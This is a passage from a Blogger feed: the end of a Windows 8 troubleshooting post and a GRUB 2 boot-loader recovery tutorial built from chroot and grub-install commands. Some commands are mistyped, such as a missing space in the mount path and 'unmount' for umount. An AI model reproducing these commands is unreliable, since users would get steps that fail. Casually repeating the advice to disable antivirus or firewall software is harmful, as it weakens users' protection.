2) Check your driver if it’s installed properly. Make sure you install driver in a compatible mode. (How to install driver in Windows 7 compatibility mode?)&lt;br /&gt;
3) Use a troubleshooter(How to run troubleshooter?)&lt;br /&gt;
4) Update drivers (http://www.forumswindows8.com/tutori...ivers-8381.htm)&lt;br /&gt;
Check your network adapter driver if it is damaged, outdated or incompatible. Use Windows update to update your driver or download and install a driver.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;6. Windows 8 Black screen&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;Solutions:&lt;/span&gt;&lt;br /&gt;
1) Reboot the system by pressing power button. Sometimes, rebooting can fix this issue.&lt;br /&gt;
2) Go to safe mode to uninstall certain programs you&#39;ve been installing lately, try to disable all NON Microsoft installed software, uninstall your third party antivirus program, remove anything plugged in via the usb ports then restarted your computer.&lt;br /&gt;
3) Disconnect all the external devices (except mouse and Keyboard) and check&lt;br /&gt;
4) Check your graphic Drivers and programs if they are compatible with windows 8. (Windows Compability Center). Try to install incompatible program and update the driver. Be sure that you install driver in compatible mode.&lt;br /&gt;
5) If you tried to upgrade from Windows Vista to Win 8, you may try to remove the drivers of the Graphics card, Audio Card, Network Card and security programs. Then, reboot the system to perform upgrading again for a test. If you tried to upgrade from Windows 7 to Win 8, please boot into Safe Mode with the option “enable low-resolution video” and see how it works.&lt;br /&gt;
6) Check your ios file. You might have a corrupt download that is causing the issue.&lt;br /&gt;
Check the ISO Sha 1 hash to verify if you have the correct hash. If they don&#39;t match then your download is corrupt and you will need to download a new ISO and reinstall.&lt;br /&gt;
64-bit (x64) Download (3.3 GB) Sha 1 hash —0xD76AD96773615E8C504F63564AF749469CFCCD57&lt;br /&gt;
32-bit (x86) Download (2.5 GB) Sha 1 hash —0x8BED436F0959E7120A44BF7C29FF0AA962BDEFC9&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;7. Windows 8 freezes&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;Solutions:&lt;/span&gt;&lt;br /&gt;
1) Check system if it meets system requirement to install Windows 8&lt;br /&gt;
2) Check if any new program/driver has been installed or upgraded. Disabling/un-installing the program/driver might fix this.&lt;br /&gt;
3) Run System Maintenance Troubleshooter to see if it helps (How to run troubleshooter?)&lt;br /&gt;
4) Try to update all the drivers and check if it helps. (How to update drivers?)&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;8. Can not play YouTube video&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;Solutions:&lt;/span&gt;&lt;br /&gt;
1) Upgrade to the most recent version of Adobe&#39;s Flash Player. Please note that before installing Adobe Flash, you will need to first uninstall any older versions you currently have running on your computer.&lt;br /&gt;
2) Temporarily disable popup blocking software installed on your computer to test.&lt;br /&gt;
3) Allow YouTube.com as a trusted site in your Firewall software.&lt;br /&gt;
4) Ensure other applications like Quicktime, iTunes, Real Player, or Windows Media Player aren&#39;t set as the default streaming application, as this might affect the video player.&lt;br /&gt;
5) Check your third party program like firewall or antivirus program. Try to disable/remove your firewall/antivirus programs.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;9. Driver won&#39;t be installed/ recognized&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;Solutions:&lt;/span&gt;&lt;br /&gt;
1) Check if your driver is compatible with Windows 8 (Windows Compability Center). Try to update driver for your hardware and install driver in Windows 7 compatibility mode (How to install driver in Windows 7 compatibility mode?)&lt;br /&gt;
2) run hardware and devices troubleshooter and check if it helps&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;10. Cannot activate Windows 8&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;Solutions:&lt;/span&gt;&lt;br /&gt;
You may activate Windows 8 manually by Phone Activation&lt;br /&gt;
a. Click Start, and in the Search box type: slui.exe 4&lt;br /&gt;
b. Press enter on your Keyboard&lt;br /&gt;
c. Select your Country.&lt;br /&gt;
d. Select the Phone Activation option, and hold on for a real person. &lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://comhttp.blogspot.com/feeds/8030857905885646855/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://comhttp.blogspot.com/2013/07/top-10-windows-8-errors-and-solutions.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4277709300573377224/posts/default/8030857905885646855'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4277709300573377224/posts/default/8030857905885646855'/><link rel='alternate' type='text/html' href='http://comhttp.blogspot.com/2013/07/top-10-windows-8-errors-and-solutions.html' title='Top 10 Windows 8 errors and solutions'/><author><name>AzHaR</name><uri>http://www.blogger.com/profile/03405898531471075920</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEih40lSRTtzKH7GaWX63mZdTGNTfcpmTNeHTdfcc29rNAStswogMjPe0Xnhce2tbuvWCIjNYm7rv3LG-lZmlK4GrqJc9q6EkGqcQCqRhp6kM7MOJgMUMecLH5AbzL7ybw/s220/azhar.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4277709300573377224.post-3224941155280540654</id><published>2013-07-02T02:29:00.005+05:30</published><updated>2013-07-02T02:30:46.173+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Windows Tips"/><title type='text'>Tutorial for Grub 2 recovery</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
					&lt;br /&gt;

				
				
								
				
					&lt;a href=&quot;http://voidtricks.com/wp-content/uploads/2013/06/grub.png&quot;&gt;&lt;img alt=&quot;GRUB&quot; class=&quot;alignnone size-medium wp-image-552&quot; height=&quot;225&quot; src=&quot;http://voidtricks.com/wp-content/uploads/2013/06/grub-300x225.png&quot; width=&quot;300&quot; /&gt;&lt;/a&gt;&lt;br /&gt;

&lt;h2&gt;
Grub 2 recovery&lt;/h2&gt;
We often come across a condition in which the boot loader gets 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;7087f205-b88d-4e81-bdc6-42c12f02fed3&quot; id=&quot;f9587f3a-d878-4f39-ae6d-cce7b5d7d92c&quot;&gt;corrupt&lt;/span&gt;. Here are a few steps that will help you recover your GRUB 2 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;bc9bb2bf-2a42-4d3d-bbee-07ca590c2ab5&quot; id=&quot;49e15277-039b-4e75-aabf-4ff12887b9d1&quot;&gt;boot&lt;/span&gt; loader.&lt;br /&gt;

Boot from a live CD or DVD, Which supports &lt;strong&gt; GRUB 2 &lt;/strong&gt; (&lt;a href=&quot;http://ubuntu.com/&quot;&gt;Ubuntu&lt;/a&gt; 9.10 CD or A DVD will take more time than a CD, so I suggest you boot from a CD).&lt;br /&gt;

Open the &lt;strong&gt;terminal&lt;/strong&gt; and run &lt;i&gt; fdisk -l &lt;/i&gt; to check the &lt;a href=&quot;http://en.wikipedia.org/wiki/Disk_partitioning&quot;&gt;partition&lt;/a&gt; from which you want to recover GRUB 2.&lt;br /&gt;

Here I assume that you want to recover it from /dev/sda1.&lt;br /&gt;

Then run the following commands:&lt;br /&gt;



		&lt;div class=&quot;crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes&quot; data-settings=&quot; minimize scroll-mouseover&quot; id=&quot;crayon-51d1eb5f2a3d4&quot; style=&quot;clear: both; float: none; font-size: 12px ! important; height: auto; line-height: 15px ! important; margin-bottom: 12px; margin-top: 12px;&quot;&gt;
		
			
			
			&lt;div class=&quot;crayon-plain-wrap&quot;&gt;
&lt;textarea class=&quot;crayon-plain print-no&quot; data-settings=&quot;dblclick&quot; readonly=&quot;readonly&quot; style=&quot;-moz-tab-size: 4; font-size: 12px ! important; line-height: 15px ! important; opacity: 0; overflow: hidden; z-index: 0;&quot; wrap=&quot;off&quot;&gt;$sudo mkdir /media/sda1

$sudo mount /dev/sda1/media/sda1

$sudo mount --bind /dev /media/sda1/dev

$sudo mount --bind /proc /media/sda1/&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;3fd64c47-30e8-45b0-90b6-3ab942f867b1&quot; id=&quot;b1828793-ca2f-49c5-8f00-92c4cb7f51bd&quot;&gt;proc&lt;/span&gt;&lt;/textarea&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-main&quot; style=&quot;overflow: hidden; position: relative; z-index: 1;&quot;&gt;
				&lt;table class=&quot;crayon-table&quot;&gt;
					&lt;tbody&gt;
&lt;tr class=&quot;crayon-row&quot;&gt;
				&lt;td class=&quot;crayon-nums &quot; data-settings=&quot;show&quot;&gt;
					&lt;div class=&quot;crayon-nums-content&quot; style=&quot;font-size: 12px !important; line-height: 15px !important;&quot;&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d1eb5f2a3d4-1&quot;&gt;
1&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d1eb5f2a3d4-2&quot;&gt;
2&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d1eb5f2a3d4-3&quot;&gt;
3&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d1eb5f2a3d4-4&quot;&gt;
4&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d1eb5f2a3d4-5&quot;&gt;
5&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d1eb5f2a3d4-6&quot;&gt;
6&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d1eb5f2a3d4-7&quot;&gt;
7&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
						&lt;td class=&quot;crayon-code&quot;&gt;&lt;div class=&quot;crayon-pre&quot; style=&quot;font-size: 12px !important; line-height: 15px !important;&quot;&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d1eb5f2a3d4-1&quot;&gt;
&lt;span class=&quot;crayon-v&quot;&gt;$sudo&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-r&quot;&gt;mkdir&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;media&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;sda1&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d1eb5f2a3d4-2&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d1eb5f2a3d4-3&quot;&gt;
&lt;span class=&quot;crayon-v&quot;&gt;$sudo&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;mount&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;dev&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;sda1&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;media&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;sda1&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d1eb5f2a3d4-4&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d1eb5f2a3d4-5&quot;&gt;
&lt;span class=&quot;crayon-v&quot;&gt;$sudo&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;mount&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;bind&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;dev&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;media&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;sda1&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;dev&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d1eb5f2a3d4-6&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d1eb5f2a3d4-7&quot;&gt;
&lt;span class=&quot;crayon-v&quot;&gt;$sudo&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;mount&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;bind&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;proc&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;media&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;sda1&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;0042d195-ea3e-46e1-86ad-1be2b70403c8&quot; id=&quot;56c57a3c-e085-44fb-9c31-b0611f098f81&quot;&gt;proc&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
					&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
Now &lt;i&gt; &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;61ec43c1-3559-4dfe-a237-2b6348841309&quot; id=&quot;5c56bbec-39dd-4e01-8cba-3fbef143d04d&quot;&gt;chroot&lt;/span&gt; &lt;i&gt; into that partition by running the command given below:&lt;/i&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;i&gt;


		&lt;div class=&quot;crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes&quot; data-settings=&quot; minimize scroll-mouseover&quot; id=&quot;crayon-51d1eb5f2a477&quot; style=&quot;clear: both; float: none; font-size: 12px ! important; height: auto; line-height: 15px ! important; margin-bottom: 12px; margin-top: 12px;&quot;&gt;
		
			
			
			&lt;div class=&quot;crayon-plain-wrap&quot;&gt;
&lt;textarea class=&quot;crayon-plain print-no&quot; data-settings=&quot;dblclick&quot; readonly=&quot;readonly&quot; style=&quot;-moz-tab-size: 4; font-size: 12px ! important; line-height: 15px ! important; opacity: 0; overflow: hidden; z-index: 0;&quot; wrap=&quot;off&quot;&gt;$sudo &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;abaefe31-ea4a-4ab0-a902-e7cf9c4fbd6c&quot; id=&quot;33159db4-100e-4345-af77-845f92da1742&quot;&gt;chroot&lt;/span&gt; /media/sda1&lt;/textarea&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-main&quot; style=&quot;overflow: hidden; position: relative; z-index: 1;&quot;&gt;
				&lt;table class=&quot;crayon-table&quot;&gt;
					&lt;tbody&gt;
&lt;tr class=&quot;crayon-row alt&quot;&gt;
				&lt;td class=&quot;crayon-nums &quot; data-settings=&quot;show&quot;&gt;
					&lt;div class=&quot;crayon-nums-content&quot; style=&quot;font-size: 12px !important; line-height: 15px !important;&quot;&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d1eb5f2a477-1&quot;&gt;
1&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
						&lt;td class=&quot;crayon-code&quot;&gt;&lt;div class=&quot;crayon-pre&quot; style=&quot;font-size: 12px !important; line-height: 15px !important;&quot;&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d1eb5f2a477-1&quot;&gt;
&lt;span class=&quot;crayon-v&quot;&gt;$sudo&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;f7886536-5cfe-48cf-9e7b-b0d01df0d7ee&quot; id=&quot;79f39499-10a0-4aeb-abfe-87e2e4b77ee0&quot;&gt;chroot&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;media&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;crayon-i&quot;&gt;sda1&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
					&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
Then re-install GRUB , as follows:&lt;br /&gt;



		&lt;div class=&quot;crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes&quot; data-settings=&quot; minimize scroll-mouseover&quot; id=&quot;crayon-51d1eb5f2a4c9&quot; style=&quot;clear: both; float: none; font-size: 12px ! important; height: auto; line-height: 15px ! important; margin-bottom: 12px; margin-top: 12px;&quot;&gt;
		
			
			
			&lt;div class=&quot;crayon-plain-wrap&quot;&gt;
&lt;textarea class=&quot;crayon-plain print-no&quot; data-settings=&quot;dblclick&quot; readonly=&quot;readonly&quot; style=&quot;-moz-tab-size: 4; font-size: 12px ! important; line-height: 15px ! important; opacity: 0; overflow: hidden; z-index: 0;&quot; wrap=&quot;off&quot;&gt;#grub-install /dev/sda&lt;/textarea&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-main&quot; style=&quot;overflow: hidden; position: relative; z-index: 1;&quot;&gt;
				&lt;table class=&quot;crayon-table&quot;&gt;
					&lt;tbody&gt;
&lt;tr class=&quot;crayon-row&quot;&gt;
				&lt;td class=&quot;crayon-nums &quot; data-settings=&quot;show&quot;&gt;
					&lt;div class=&quot;crayon-nums-content&quot; style=&quot;font-size: 12px !important; line-height: 15px !important;&quot;&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d1eb5f2a4c9-1&quot;&gt;
1&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
						&lt;td class=&quot;crayon-code&quot;&gt;&lt;div class=&quot;crayon-pre&quot; style=&quot;font-size: 12px !important; line-height: 15px !important;&quot;&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d1eb5f2a4c9-1&quot;&gt;
&lt;span class=&quot;crayon-p&quot;&gt;#grub-install /dev/sda&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
					&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
The output should be like what’s shown below:&lt;br /&gt;



		&lt;div class=&quot;crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes&quot; data-settings=&quot; minimize scroll-mouseover&quot; id=&quot;crayon-51d1eb5f2a50e&quot; style=&quot;clear: both; float: none; font-size: 12px ! important; height: auto; line-height: 15px ! important; margin-bottom: 12px; margin-top: 12px;&quot;&gt;
		
			
			
			&lt;div class=&quot;crayon-plain-wrap&quot;&gt;
&lt;textarea class=&quot;crayon-plain print-no&quot; data-settings=&quot;dblclick&quot; readonly=&quot;readonly&quot; style=&quot;-moz-tab-size: 4; font-size: 12px ! important; line-height: 15px ! important; opacity: 0; overflow: hidden; z-index: 0;&quot; wrap=&quot;off&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;1f08ad5c-ff9d-4645-aa77-e497cf9efa15&quot; id=&quot;52b6ae22-225e-44dc-96c4-a1bb52d09f29&quot;&gt;Installation&lt;/span&gt; finished. No error reported.&lt;/textarea&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-main&quot; style=&quot;overflow: hidden; position: relative; z-index: 1;&quot;&gt;
				&lt;table class=&quot;crayon-table&quot;&gt;
					&lt;tbody&gt;
&lt;tr class=&quot;crayon-row alt&quot;&gt;
				&lt;td class=&quot;crayon-nums &quot; data-settings=&quot;show&quot;&gt;
					&lt;div class=&quot;crayon-nums-content&quot; style=&quot;font-size: 12px !important; line-height: 15px !important;&quot;&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d1eb5f2a50e-1&quot;&gt;
1&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
						&lt;td class=&quot;crayon-code&quot;&gt;&lt;div class=&quot;crayon-pre&quot; style=&quot;font-size: 12px !important; line-height: 15px !important;&quot;&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d1eb5f2a50e-1&quot;&gt;
&lt;span class=&quot;crayon-e&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;9d51b592-d595-4f42-9328-87f47eab9498&quot; id=&quot;1b02bc06-182a-4877-a667-4bbda03e54ef&quot;&gt;Installation&lt;/span&gt; &lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;finished&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;No &lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;error &lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;reported&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;.&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
					&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
If you get an error, then try the following command:&lt;br /&gt;



		&lt;div class=&quot;crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes&quot; data-settings=&quot; minimize scroll-mouseover&quot; id=&quot;crayon-51d1eb5f2a553&quot; style=&quot;clear: both; float: none; font-size: 12px ! important; height: auto; line-height: 15px ! important; margin-bottom: 12px; margin-top: 12px;&quot;&gt;
		
			
			
			&lt;div class=&quot;crayon-plain-wrap&quot;&gt;
&lt;textarea class=&quot;crayon-plain print-no&quot; data-settings=&quot;dblclick&quot; readonly=&quot;readonly&quot; style=&quot;-moz-tab-size: 4; font-size: 12px ! important; line-height: 15px ! important; opacity: 0; overflow: hidden; z-index: 0;&quot; wrap=&quot;off&quot;&gt;#grub-install --recheck /dev/sda&lt;/textarea&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-main&quot; style=&quot;overflow: hidden; position: relative; z-index: 1;&quot;&gt;
				&lt;table class=&quot;crayon-table&quot;&gt;
					&lt;tbody&gt;
&lt;tr class=&quot;crayon-row&quot;&gt;
				&lt;td class=&quot;crayon-nums &quot; data-settings=&quot;show&quot;&gt;
					&lt;div class=&quot;crayon-nums-content&quot; style=&quot;font-size: 12px !important; line-height: 15px !important;&quot;&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d1eb5f2a553-1&quot;&gt;
1&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
						&lt;td class=&quot;crayon-code&quot;&gt;&lt;div class=&quot;crayon-pre&quot; style=&quot;font-size: 12px !important; line-height: 15px !important;&quot;&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d1eb5f2a553-1&quot;&gt;
&lt;span class=&quot;crayon-p&quot;&gt;#grub-install --recheck /dev/sda&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
					&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
After a successful installation, exit from &lt;i&gt; &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;5ed6fe69-577c-4aea-9648-d1f92c2f79fb&quot; id=&quot;f9b968f7-d0dc-4ace-9d7a-05db009ae884&quot;&gt;chroot&lt;/span&gt; &lt;/i&gt; and &lt;i&gt; unmount &lt;/i&gt; the file systems that were mounted to recover GRUB. Now reboot.&lt;br /&gt;



		&lt;div class=&quot;crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes&quot; data-settings=&quot; minimize scroll-mouseover&quot; id=&quot;crayon-51d1eb5f2a597&quot; style=&quot;clear: both; float: none; font-size: 12px ! important; height: auto; line-height: 15px ! important; margin-bottom: 12px; margin-top: 12px;&quot;&gt;
		
			
			
			&lt;div class=&quot;crayon-plain-wrap&quot;&gt;
&lt;textarea class=&quot;crayon-plain print-no&quot; data-settings=&quot;dblclick&quot; readonly=&quot;readonly&quot; style=&quot;-moz-tab-size: 4; font-size: 12px ! important; line-height: 15px ! important; opacity: 0; overflow: hidden; z-index: 0;&quot; wrap=&quot;off&quot;&gt;#exit

$sudo unmount /media/sda1/&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;f2f91f90-a63c-4c07-b812-8bbf12494017&quot; id=&quot;d797a7e8-c80a-495e-976f-0c01077f02e4&quot;&gt;proc&lt;/span&gt;

$sudo unmount /media/sda1/dev

$sudo unmount /media/sda1

$sudo reboot&lt;/textarea&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-main&quot; style=&quot;overflow: hidden; position: relative; z-index: 1;&quot;&gt;
				&lt;table class=&quot;crayon-table&quot;&gt;
					&lt;tbody&gt;
&lt;tr class=&quot;crayon-row alt&quot;&gt;
				&lt;td class=&quot;crayon-nums &quot; data-settings=&quot;show&quot;&gt;
					&lt;div class=&quot;crayon-nums-content&quot; style=&quot;font-size: 12px !important; line-height: 15px !important;&quot;&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d1eb5f2a597-1&quot;&gt;
1&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d1eb5f2a597-2&quot;&gt;
2&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d1eb5f2a597-3&quot;&gt;
3&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d1eb5f2a597-4&quot;&gt;
4&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d1eb5f2a597-5&quot;&gt;
5&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d1eb5f2a597-6&quot;&gt;
6&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d1eb5f2a597-7&quot;&gt;
7&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d1eb5f2a597-8&quot;&gt;
8&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d1eb5f2a597-9&quot;&gt;
9&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
						&lt;td class=&quot;crayon-code&quot;&gt;&lt;div class=&quot;crayon-pre&quot; style=&quot;font-size: 12px !important; line-height: 15px !important;&quot;&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d1eb5f2a597-1&quot;&gt;
&lt;span class=&quot;crayon-p&quot;&gt;#exit&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d1eb5f2a597-2&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d1eb5f2a597-3&quot;&gt;
